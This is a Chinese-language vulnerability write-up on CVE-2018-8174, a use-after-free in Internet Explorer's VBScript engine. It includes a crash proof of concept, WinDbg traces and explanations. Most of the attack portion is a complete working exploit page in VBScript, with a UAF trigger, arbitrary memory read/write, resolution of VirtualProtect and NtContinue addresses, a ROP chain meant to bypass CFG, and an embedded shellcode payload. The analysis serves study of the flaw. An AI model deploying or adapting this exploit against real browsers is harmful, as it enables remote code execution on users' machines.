-
-
IE VBScript 漏洞之CVE-2018-8174
-
2019-1-13 21:13 8268
-
之前在IE VBScript 漏洞之CVE-2014-6332中,总结学习了VBScript中的关键数据结构,故在这篇中不再总结。如果错误,请指正,谢谢。
漏洞分析
POC
启用页堆
gflags.exe /i iexplore.exe +hpa
<!doctype html> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta http-equiv="x-ua-compatible" content="IE=10"> <meta http-equiv="Expires" content="0"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Cache" content="no-cache"> <body> <script language="vbscript"> Dim array() Dim array2(1) Class MyClass Private Sub Class_Terminate Set array2(0)=array(1) array(1)=1 End Sub End Class Redim array(1) Set array(1)=New MyClass Erase array array2(0)=0 </script> </body> </html>
捕获异常如下,我们可以看到eax引用的地址已经被释放了,也就是对应在poc中的Erase array,调用Erase触发了Class_Terminate函数,在Class_Terminate函数中,将array(1) 赋值给了array2,然后又平衡了其引用计数,使得array2成了指向MyClass的悬挂指针,访问array2造成了访问异常。
First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0c607fd0 ebx=0aa8af90 ecx=00000009 edx=00000002 esi=0aa8af90 edi=00000009 eip=75a24971 esp=08aadf7c ebp=08aadf84 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 OLEAUT32!VariantClear+0xb3: 75a24971 8b08 mov ecx,dword ptr [eax] ds:002b:0c607fd0=???????? 0:005> !heap -p -a eax address 0c607fd0 found in _DPH_HEAP_ROOT @ a31000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) a33618: c607000 2000 6d9c90b2 verifier!AVrfDebugPageHeapFree+0x000000c2 77e70acc ntdll!RtlDebugFreeHeap+0x0000002f 77e2a967 ntdll!RtlpFreeHeap+0x0000005d 77dd32f2 ntdll!RtlFreeHeap+0x00000142 772c98cd msvcrt!free+0x000000cd // eax所指向的内存已经被释放掉了 6bc2406c vbscript!VBScriptClass::`vector deleting destructor'+0x00000019 6bc2411a vbscript!VBScriptClass::Release+0x00000043 75a24977 OLEAUT32!VariantClear+0x000000b9 75a3e375 OLEAUT32!ReleaseResources+0x000000a3 75a3e003 OLEAUT32!_SafeArrayDestroyData+0x00000048 75a45d7d OLEAUT32!SafeArrayDestroyData+0x0000000f 75a45d63 OLEAUT32!Thunk_SafeArrayDestroyData+0x00000039 6bc6267f vbscript!VbsErase+0x00000057 ······
调试
首先,我们将poc修改成如下。看一下正常的释放过程。
Dim array() Dim array2(1) Class MyClass End Class Redim array(1) Set array(1)=New MyClass IsEmpty(array) Erase array
0:005> p eax=0c3c4fd0 ebx=0c3c4fd0 ecx=69381748 edx=00000000 esi=76e813b0 edi=0c3c4fd4 eip=69391f08 esp=0894f524 ebp=0894f534 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 vbscript!VBScriptClass::Release+0x15: 69391f08 ffd6 call esi {kernel32!InterlockedDecrementStub (76e813b0)} 0:005> dd edi 0c3c4fd4 00000001 00000000 0c28df88 00000a08 0c3c4fe4 00000000 00000000 00000000 00000000 vbscript!VBScriptClass::Release+0x15: 69391f08 ffd6 call esi {kernel32!InterlockedDecrementStub (76e813b0)} //引用计数减一 0:005> dps 0c3c4fd0 0c3c4fd0 69381748 vbscript!VBScriptClass::`vftable' 0c3c4fd4 00000000 //引用计数为0,VBScriptClass被释放 0c3c4fd8 00000000 0c3c4fdc 0c28df88 0c3c4fe0 00000a08 0c3c4fe4 00000000 0c3c4fe8 00000000 0c3c4fec 00000000 0c3c4ff0 00000000 0c3c4ff4 0c136fe4
我们来看看poc中MyClass在VbsScript中的释放过程。
0:005> g vbscript!VbsIsEmpty: 68f9c206 8bff mov edi,edi 0:005> dd poi(esp+c) 0a100fa0 c0c0600c c0c0c0c0 0ce59f88 0c24cfe8 0a100fb0 0000400c 00000000 0ce59fb8 00000000 0a100fc0 0000400c 00000000 0ce59f7c 00000000 0a100fd0 c0c00000 c0c0c0c0 c0c0c0c0 c0c0c0c0 0a100fe0 00000000 00000000 c0c0c0c0 c0c0c0c0 0a100ff0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 0a101000 ???????? ???????? ???????? ???????? 0a101010 ???????? ???????? ???????? ???????? 0:005> dd poi(0ce59f88 ) 0c24cfe8 08800001 00000010 00000000 0bc3afe0 0c24cff8 00000002 00000000 ???????? ???????? 0c24d008 ???????? ???????? ???????? ???????? 0c24d018 ???????? ???????? ???????? ???????? 0c24d028 ???????? ???????? ???????? ???????? 0c24d038 ???????? ???????? ???????? ???????? 0c24d048 ???????? ???????? ???????? ???????? 0c24d058 ???????? ???????? ???????? ???????? 0:005> dt ole32!tagSAFEARRAY 0c24cfe8 +0x000 cDims : 1 +0x002 fFeatures : 0x880 +0x004 cbElements : 0x10 +0x008 cLocks : 0 +0x00c pvData : 0x0bc3afe0 +0x010 rgsabound : [1] tagSAFEARRAYBOUND 0:005> dd 0x0bc3afe0 0bc3afe0 00000000 00000000 00000000 00000000 0bc3aff0 c0c00009 c0c0c0c0 0a108fd0 c0c0c0c0 0bc3b000 ???????? ???????? ???????? ???????? 0bc3b010 ???????? ???????? ???????? ???????? 0bc3b020 ???????? ???????? ???????? ???????? 0bc3b030 ???????? ???????? ???????? ???????? 0bc3b040 ???????? ???????? ???????? ???????? 0bc3b050 ???????? ???????? ???????? ???????? 0:005> dps 0a108fd0 l 10 0a108fd0 68f81748 vbscript!VBScriptClass::`vftable' 0a108fd4 00000001 //此时引用计数为1 0a108fd8 0a10cf78 0a108fdc 0ce4df88 0a108fe0 00000f90 0a108fe4 00000000 0a108fe8 00000000 0a108fec 0a110efc 0a108ff0 00000000 0a108ff4 0cd18fe4 0a108ff8 00000000 0a108ffc 00000000 //在Erase array 之后,我们看到array2(1)指向了已经被释放的内存。 0:005> g vbscript!VbsIsEmpty: 68f9c206 8bff mov edi,edi 0:005> dd poi(esp+c) 0a100fa0 c0c0600c c0c0c0c0 0ce59fc4 0c248fe8 0a100fb0 0000400c 00000000 0ce59fb8 00000000 0a100fc0 0000400c 00000000 0ce59f7c 00000000 0a100fd0 c0c00000 c0c0c0c0 c0c0c0c0 c0c0c0c0 0a100fe0 00000000 00000000 c0c0c0c0 c0c0c0c0 0a100ff0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 0a101000 ???????? ???????? ???????? ???????? 0a101010 ???????? ???????? ???????? ???????? 0:005> dt ole32!tagSAFEARRAY poi(0ce59fc4) +0x000 cDims : 1 +0x002 fFeatures : 0x892 +0x004 cbElements : 0x10 +0x008 cLocks : 0 +0x00c pvData : 0x0c24afe0 +0x010 rgsabound : [1] tagSAFEARRAYBOUND 0:005> dd 0x0c24afe0 0c24afe0 c0c00009 c0c0c0c0 0a108fd0 c0c0c0c0 0c24aff0 00000000 00000000 00000000 00000000 0:005> dps 0a108fd0 //array2(1) 指向的内存已经被释放。 0a108fd0 ???????? 0a108fd4 ???????? 0a108fd8 ???????? 0a108fdc ???????? 0a108fe0 ???????? 0a108fe4 ???????? 0a108fe8 ????????
漏洞利用
<!doctype html> <html lang="en"> <head> <meta http-equiv="x-ua-compatible" content="IE=10"> </head> <body> <script language="vbscript"> Dim gNumber Dim arrayA(6),arrayB(6) Dim index Dim gArray(40) Dim hexA, hexB Dim address Dim memClassA,memClassB Dim swapA,swapB Dim NtContinueAddr,VirtualProtectAddr hexA = Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000") hexB = Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000") address = 0 index = 0 Function GetUint32(Addr) Dim value memClassA.mem(address + 8) = Addr + 4 memClassA.mem(address) = 8 'type string value = memClassA.P0123456789 memClassA.mem(address) = 2 GetUint32 = value End Function Function readWord(addr) readWord = GetUint32(addr) And 65535 End Function Function readByte(addr) readByte = GetUint32(addr) And (&hFF) End Function Function GetBaseByDOSmodeSearch(in_addr) Dim addr addr = in_addr And &hFFFF0000 Do While GetUint32(addr+&h68)<>&h206E6920 Or GetUint32(addr+&h6C)<>&h20534F44 addr = addr-&h10000 Loop GetBaseByDOSmodeSearch = addr End Function Function StrCompWrapper(addr, szName) Dim str,i str = "" For i = 0 To Len(szName) - 1 str = str & Chr(readByte(addr+i)) Next StrCompWrapper = StrComp(UCase(str), UCase(szName)) End Function Function GetBaseFromImport(base_address,name_input) Dim import_rva,nt_header,descriptor,import_dir Dim addr nt_header = GetUint32(base_address + (&h3c)) import_rva = GetUint32(base_address + nt_header + &h80) import_dir = base_address + import_rva descriptor = 0 Do While True Dim NameOffset NameOffset = GetUint32(import_dir + descriptor * (&h14)+&hC) If NameOffset = 0 Then GetBaseFromImport = &hBAAD0000 Exit Function Else If StrCompWrapper(base_address + NameOffset, name_input) = 0 Then Exit Do End If End If descriptor = descriptor+1 Loop addr = GetUint32(import_dir + descriptor * (&h14)+&h10) addr = GetUint32(base_address + addr) GetBaseFromImport = GetBaseByDOSmodeSearch(addr) End Function Function GetProcAddr(dll_base,name) Dim p, export_dir, index Dim function_rvas, function_names, function_ordin Dim Ordin p = GetUint32(dll_base + &h3c) p = GetUint32(dll_base + p + &h78) export_dir = dll_base + p function_rvas = dll_base + GetUint32(export_dir + &h1c) function_names = dll_base + GetUint32(export_dir + &h20) function_ordin = dll_base + GetUint32(export_dir + &h24) index = 0 Do While True Dim offset offset = GetUint32(function_names + index * 4) If StrCompWrapper(dll_base + offset, name) = 0 Then Exit Do End If index = index+1 Loop Ordin = readWord(function_ordin + index * 2) p = GetUint32(function_rvas + Ordin * 4) GetProcAddr = dll_base + p End Function Function GetShellcode() hexCode = Unescape("%u0000%u0000%u0000%u0000") & Unescape("%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u652e%u6578%u4100%u0065%u0000%u0000%u0000%u0000%u0000%ucc00%ucccc%ucccc%ucccc%ucccc") GetShellcode = hexCode End Function Function BuildVirtualTable Dim i,szNtContinueAddr,str,szAddr0,szAddr8,szAddr16,szAddr24 szNtContinueAddr = NumberToString(NtContinueAddr, 8) szAddr0 = Mid(szNtContinueAddr,1,2) szAddr8 = Mid(szNtContinueAddr,3,2) szAddr16 = Mid(szNtContinueAddr,5,2) szAddr24 = Mid(szNtContinueAddr,7,2) str = "" str = str & "%u0000%u" &szAddr24 &"00" For i = 1 To 3 str = str & "%u" &szAddr8 &szAddr16 str = str & "%u" &szAddr24 &szAddr0 Next str = str & "%u" & szAddr8 & szAddr16 str = str & "%u00" & szAddr0 BuildVirtualTable = Unescape(str) End Function Function NumberToString(ByVal Number, ByVal Length) hNumber = Hex(Number) If Len(hNumber) < Length Then hNumber = String(Length - Len(hNumber), "0") & hNumber 'pad allign with zeros Else hNumber = Right(hNumber, Length) End If NumberToString = hNumber End Function Function EscapeAddress(ByVal value) Dim High,Low High = NumberToString((value And &hFFFF0000) / &h10000, 4) Low = NumberToString(value And &hFFFF, 4) EscapeAddress = Unescape("%u"&Low&"%u"&High) End Function Function WrapShellcodeWithNtContinueContext(ShellcodeAddrParam) 'bypass cfg Dim ropChain 'pad1 0 - 10FDC ropChain = String(34798, Unescape("%u4141")) 'rop chain ropChain = ropChain & EscapeAddress(ShellcodeAddrParam) ropChain = ropChain & EscapeAddress(ShellcodeAddrParam) ropChain = ropChain & EscapeAddress(&h3000) ropChain = ropChain & EscapeAddress(&h40) ropChain = ropChain & EscapeAddress(ShellcodeAddrParam-8) ropChain = ropChain & String(6, Unescape("%u4242")) ropChain = ropChain & BuildVirtualTable() 'pad2 ropChain = ropChain & String((&h80000 - LenB(ropChain)) / 2, Unescape("%u4141")) WrapShellcodeWithNtContinueContext = ropChain End Function Function ExpandWithVirtualProtect(ropAddr) Dim szContext Dim Addr '0 - 10FDC Addr = ropAddr + &h23 szContext = "" szContext = szContext & EscapeAddress(Addr) szContext = szContext & String((&hb8 - LenB(szContext)) / 2, Unescape("%4141")) szContext = szContext & EscapeAddress(VirtualProtectAddr) szContext = szContext & EscapeAddress(&h1b) szContext = szContext & EscapeAddress(0) szContext = szContext & EscapeAddress(ropAddr) szContext = szContext & EscapeAddress(&h23) szContext = szContext & String((&400-LenB(szContext))/2,Unescape("%u4343")) ExpandWithVirtualProtect = szContext End Function Sub ExecuteShellcode memClassA.mem(address) = &h4d Msgbox "ExecuteShellcode" memClassA.mem(address + 8) = 0 End Sub Class claA Private Sub Class_Terminate() Set arrayA(index) = gNumber(1) index = index + 1 gNumber(1) = 1 End Sub End Class Class claB Private Sub Class_Terminate() Set arrayB(index)=gNumber(1) index=index+1 gNumber(1)=1 End Sub End Class Class testClass End Class Class memClass Dim mem Function P End Function Function SetProp(Value) mem = Value SetProp = 0 End Function End Class Class readMemClass Dim mem Function P0123456789 P0123456789 = LenB(mem(address+8)) End Function Function SPP End Function End Class Class swapObjectA Public Default Property Get P Dim object P = 174088534690791e-324 For i = 0 To 6 arrayA(i) = 0 Next Set object = New readMemClass object.mem = hexA For i = 0 To 6 Set arrayA(i) = object Next End Property End Class Class swapObjectB Public Default Property Get P Dim object P=636598737289582e-328 For i = 0 To 6 arrayB(i) = 0 Next Set object = New readMemClass object.mem = hexB For i = 0 To 6 Set arrayB(i) = object Next End Property End Class Set swapA = New swapObjectA Set swapB = New swapObjectB Sub UAF For i = 0 To &h11 Set gArray(i) = New testClass Next For i = &h14 To &h26 Set gArray(i) = New memClass Next index = 0 For i = 0 To 6 ReDim gNumber(1) Set gNumber(1) = New claA Erase gNumber Next Set memClassA = New memClass //申请memClass进行占位 arrayB(0) = 0 index = 0 For i = 0 To 6 ReDim gNumber(1) Set gNumber(1) = New claB Erase gNumber Next Set memClassB = New memClass ////申请memClass进行占位 End Sub Sub InitObjects memClassA.SetProp(swapA) memClassB.SetProp(swapB) address = memClassB.mem End Sub Sub testSub End Sub Function GetMemValue memClassA.mem(address) = 3 GetMemValue = memClassA.mem(address + 8) End Function Sub SetMemValue(ByRef in_Ref) memClassA.mem(address + 8) = in_Ref End Sub Function LeakVBAddr On Error Resume Next Dim pCScriptEntryPointObject pCScriptEntryPointObject = testSub pCScriptEntryPointObject = null SetMemValue pCScriptEntryPointObject LeakVBAddr = GetMemValue() End Function Sub StartExploit UAF InitObjects pCScriptEntryPointObject = LeakVBAddr() pVTable = GetUint32(pCScriptEntryPointObject) vbs_base = GetBaseByDOSmodeSearch(pVTable) msv_base = GetBaseFromImport(vbs_base, "msvcrt.dll") krb_base = GetBaseFromImport(msv_base, "kernelbase.dll") ntd_base = GetBaseFromImport(msv_base, "ntdll.dll") VirtualProtectAddr = GetProcAddr(krb_base, "VirtualProtect") NtContinueAddr = GetProcAddr(ntd_base, "NtContinue") SetMemValue GetShellcode() ShellcodeAddr = GetMemValue() + 8 '同样的方法获得shellcode地址 SetMemValue WrapShellcodeWithNtContinueContext(ShellcodeAddr) ropAddr = GetMemValue() + 69596 'ExpandWithVirtualProtect 构建CONTEXT SetMemValue ExpandWithVirtualProtect(ropAddr) GetMemValue() ExecuteShellcode End Sub StartExploit </script> </body> </html>
构造数组
在Exploit中,当执行完UAF函数,使用memclass函数对释放的内存进行站位。
0:005> dt ole32!tagSAFEARRAY poi(poi(esp+c)+c) +0x000 cDims : 1 +0x002 fFeatures : 0x892 +0x004 cbElements : 0x10 +0x008 cLocks : 0 +0x00c pvData : 0x0051e630 +0x010 rgsabound : [1] tagSAFEARRAYBOUND 0:005> dd 0x0051e630 0051e630 00000009 00000000 02aa0858 00000000 0051e640 6bcb0009 02aa085c 02aa0858 6bcb4211 0051e650 6bcb0009 02aa085c 02aa0858 6bcb4211 0051e660 6bcb0009 02aa085c 02aa0858 6bcb4211 0051e670 6bcb0009 02aa085c 02aa0858 6bcb4211 0051e680 6bcb0009 02aa085c 02aa0858 6bcb4211 0051e690 6bcb0009 02aa085c 02aa0858 6bcb4211 0051e6a0 3192fbe7 88000000 00000000 00000000
下面我们来看下InitObjects函数的功能,SetProp函数触发 SetProp的Public Default Property Get P函数执行,在此函数中,将memClass再次释放,并再次使用readMemClass进行站位,并将hexA赋值给readMemClass的成员变量mem,将并将返回的P = 174088534690791e-324(00000005 02aa01dc 00000000 0000200c)复制给memClass的成员变量mem。因为
readMemClass和memClass的mem变量地址相差0xc,因此出现了内存重叠。对memClass的成员变量mem赋值造成了readMemClass.mem 的类型变为了一个大小为0x7FFFFFFF每个元素占1Byte的variant,最终实现任意地址读写。
在执行InitObjects函数前,memClass的内存布局
执行完InitObjects函数之后,我们来看先内存布局
0:005> dt ole32!tagSAFEARRAY poi(poi(esp+c)+c) +0x000 cDims : 1 +0x002 fFeatures : 0x892 +0x004 cbElements : 0x10 +0x008 cLocks : 0 +0x00c pvData : 0x0051e630 +0x010 rgsabound : [1] tagSAFEARRAYBOUND 0:005> dd 0x0051e630 0051e630 02aa0009 00000000 02aa0858 00000000 0051e640 02aa0009 00000000 02aa0858 00000000 0051e650 02aa0009 00000000 02aa0858 00000000 0051e660 02aa0009 00000000 02aa0858 00000000 0051e670 02aa0009 00000000 02aa0858 00000000 0051e680 02aa0009 00000000 02aa0858 00000000 0051e690 02aa0009 00000000 02aa0858 00000000 0051e6a0 3192fbe7 88000000 00000000 00000000 0:005> dd 02aa0858//readMemClass 02aa0858 6bcb1748 00000001 02aa72d0 0067ea60 02aa0868 000008a8 00000000 00000000 00000000 02aa0878 00000000 0053bac4 00000000 02aa0820 02aa0888 3316580a 8c000000 6bcbce78 6bcc3100 02aa0898 6bcc30f0 00000001 0067ea60 00524150 02aa08a8 00524150 0326ec94 00000000 00000000 02aa08b8 00000000 00000000 33165803 80000000 02aa08c8 6bcb00b1 6bcc3100 6bcc30f0 00000000 0:005> du 0053bac4 0053bac4 "readMemClass" 0:005> dd 02aa72d0 02aa72d0 02aa9578 000000b8 00000100 00000100 02aa72e0 00004000 02aa957c 02aa961c 02aa3018 02aa72f0 0000000f 00000003 00000040 00000003 02aa7300 00000014 02aa7308 02aa957c 02aa95c4 02aa7310 02aa95fc 00000000 00000000 00000000 //02aa95fc = readMemClass.mem 02aa7320 00000000 00000000 00000000 00000000 02aa7330 00000000 00000000 00000000 00000000 02aa7340 00000000 00000000 00000000 00000000 0:005> dd 02aa95fc-c 02aa95f0 00000005 02aa01dc 00000000 0000200c //P 02aa9600 00000000 0053baec 00000000 00000000 02aa9610 00000000 0000822f 00000006 00000000 02aa9620 00000000 00000003 00000000 0065006d 02aa9630 0000006d 00000000 00000000 00000000 02aa9640 00000000 00000000 00000000 00000000 0:005> dd 0053baec 0053baec 08800001 00000001 00000000 00000000 0053bafc 7fffffff 00000000 00630000 3192b172 0053bb0c 8000003d 00650160 00200077 00650072 0053bb1c 00640061 0065004d 0043006d 0061006c
获得DLL基址
在Exploit中,通过相同的方法,将memClassB.mem构造成了vblong类型用于泄露地址。通过以下
方法泄露CScriptEntryPoint对象的地址。然后通过对象地址获得vbs的基址。通过VbScript的导出表获得msvcrt.dll的基址,获得ntdll的基址,最终获取了NtContinue、VirtualProtect函数地址。。
Function GetMemValue memClassA.mem(address) = 3 GetMemValue = memClassA.mem(address + 8) End Function Sub SetMemValue(ByRef in_Ref) memClassA.mem(address + 8) = in_Ref End Sub Function LeakVBAddr On Error Resume Next Dim pCScriptEntryPointObject pCScriptEntryPointObject = testSub pCScriptEntryPointObject = null SetMemValue pCScriptEntryPointObject LeakVBAddr = GetMemValue() End Function
调试验证
0:005> dd poi(esp+c) 0084f350 00000003 00000000 03b6c06c 00000000 0084f360 02a10003 00595af0 02a17350 1a000218 0084f370 02f3cdc4 0084f3a0 0084f380 1a000218 0084f380 00000001 00000080 02a17350 1a000218 0084f390 00000000 00000000 02a18608 00000000 0084f3a0 02f3d008 0084f3c0 02a10694 00000000 0084f3b0 02f30000 0084f4c0 00000000 00000000 0084f3c0 02f3d24c 0084f4c0 02a18608 00000000 0:005> dd 03b6c06c 03b6c06c 00000002 7771e026 02a10003 00595af0 03b6c07c 02a17350 1a000218 00000000 2d1edd67 03b6c08c 80000000 00000020 00000000 00000000 03b6c09c 00000000 00000000 00000000 00000000 03b6c0ac 00000000 2d1edd60 80000000 00000025 03b6c0bc 00000000 00000000 00000000 00000000 03b6c0cc 00000000 00000000 00000000 2d1edd6d 03b6c0dc 80000000 0000002a 00000000 00000000 0:005> ln poi(02a17350 ) (70b44934) vbscript!CScriptEntryPoint::`vftable' | (70b5ab54) vbscript!CEntryPointDispatch::`vftable' Exact matches: vbscript!CScriptEntryPoint::`vftable' = <no type information>
Function GetBaseByDOSmodeSearch(in_addr) Dim addr addr = in_addr And &hFFFF0000 Do While GetUint32(addr+&h68)<>&h206E6920 Or GetUint32(addr+&h6C)<>&h20534F44 //in DOS addr = addr-&h10000 Loop IsEmpty(addr) GetBaseByDOSmodeSearch = addr End Function
获取指定地址的内存数据
Exploit 通过如下的方法获得执行参数的地址内存数据,将address指向的内存混淆成bstr,通过lenB获得改地址前4个字节的数据。
Function GetUint32(Addr) Dim value memClassA.mem(address + 8) = Addr + 4 memClassA.mem(address) = 8 'type string value = memClassA.P0123456789 memClassA.mem(address) = 2 GetUint32 = value End Function
ShellCode执行
Exploit中,通过和获得关键DLL基址同样的手法,获得shellCode地址,然后构建ROP链,通过精心控制使代码执行ntdll!ZwContinue函数,然后利用任意读写的手段修改某个VAR的type类型为0x4d,再赋值为0让虚拟机执行VAR::Clear函数。最终实现shellcode执行。
Sub ExecuteShellcode memClassA.mem(address) = &h4d memClassA.mem(address + 8) = 0 End Sub
阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!